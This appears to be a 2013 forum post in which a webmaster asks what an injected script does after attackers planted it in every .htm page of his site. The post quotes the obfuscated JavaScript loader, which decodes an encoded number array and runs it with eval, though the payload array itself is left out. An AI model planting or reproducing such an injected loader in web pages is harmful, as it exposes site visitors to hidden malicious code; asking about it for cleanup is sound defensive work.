MikeNoLastName - 11:59 pm on Jan 7, 2013 (gmt 0)

Someone recently hacked into our server and inserted the following code into pretty much random locations on every .htm page on our site via some automated method. Can't see any side effects. Any idea what they were trying to do, so we can check if there was any further harm done or what to watch for?
<!--84c0a7-->
<script type="text/javascript" language="javascript" >
try{document["b"+"ody"]*=document}catch(dgsgsdg){zxc=1;ww=window;}try{d=document["createElement"]("span"[smilestopper]);}catch(agdsg){zxc=0;}try{if(ww.document)window["doc"+"ument"]["body"]="zxc"}catch(bawetawe){if(ww.document){v=window;n=[ LONG SEQUENCE OF TWO CHAR QUOTED NUMBER LETTER COMBINATIONS... NOT HEX CODE ];h=2;s="";if(zxc)
{for(j=0;j-456!=0;j++)
{k=j;s+=String.fromCharCode(parseInt(n[j],12*2+2));}z=s;vl="val";if(ww.document)eval(z)}}}</script><!--/84c0a7-->